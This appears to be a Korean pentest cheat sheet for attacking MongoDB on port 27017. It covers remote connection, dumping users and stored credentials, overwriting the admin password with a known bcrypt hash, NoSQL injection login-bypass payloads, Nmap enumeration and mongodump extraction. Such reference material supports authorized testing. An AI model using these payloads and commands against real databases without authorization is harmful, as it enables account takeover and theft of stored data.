MongoDB - 27017
기본 정보
포트: 27017
MongoDB는 NoSQL 문서 지향 데이터베이스입니다.
연결
# 로컬 연결
mongo
# 원격 연결
mongo "mongodb://<RHOST>:27017"
# 인증 사용
mongo "mongodb://<USERNAME>:<PASSWORD>@<RHOST>:27017"
# 특정 데이터베이스
mongo "mongodb://<RHOST>:27017/<DATABASE>"
기본 명령어
// 데이터베이스 목록
> show dbs
// 데이터베이스 사용
> use <DATABASE>
// 컬렉션 목록
> show tables
> show collections
// 시스템 키 확인
> db.system.keys.find()
// 사용자 조회
> db.users.find()
> db.getUsers()
> db.getUsers({showCredentials: true})
// 계정 조회
> db.accounts.find()
> db.accounts.find().pretty()
// Admin DB 사용
> use admin
비밀번호 재설정
// 사용자 비밀번호를 "12345"로 변경
> db.getCollection('users').update({username:"admin"}, { $set: {"services" : { "password" : {"bcrypt" : "$2a$10$n9CM8OgInDlwpvjLKLPML.eizXIzLlRtgCh3GRLafOdR9ldAUh/KG" } } } })
데이터 추출
// 전체 데이터
> db.collection.find()
// 특정 필드만
> db.collection.find({}, {username:1, password:1})
// 조건부 조회
> db.collection.find({username: "admin"})
// 정렬
> db.collection.find().sort({created: -1})
// 개수 제한
> db.collection.find().limit(10)
NoSQL Injection
// 로그인 우회
{"username": {"$ne": null}, "password": {"$ne": null}}
{"username": {"$gt": ""}, "password": {"$gt": ""}}
// 정규식 사용
{"username": {"$regex": "^admin"}, "password": {"$ne": null}}
Nmap
# MongoDB 버전 확인
sudo nmap -p27017 -sV <RHOST>
# MongoDB 정보 수집
sudo nmap -p27017 --script mongodb-info <RHOST>
# MongoDB 데이터베이스 열거
sudo nmap -p27017 --script mongodb-databases <RHOST>
mongodump / mongorestore
# 전체 백업
mongodump --host <RHOST> --port 27017
# 특정 데이터베이스 백업
mongodump --host <RHOST> --port 27017 --db <DATABASE>
# 복원
mongorestore --host <RHOST> --port 27017 dump/
참고
- 인증 없는 접근 확인
- 기본 자격증명 테스트
- NoSQL Injection 시도
- 민감한 데이터 확인 (users, accounts, credentials 등)
- JavaScript 실행 가능 여부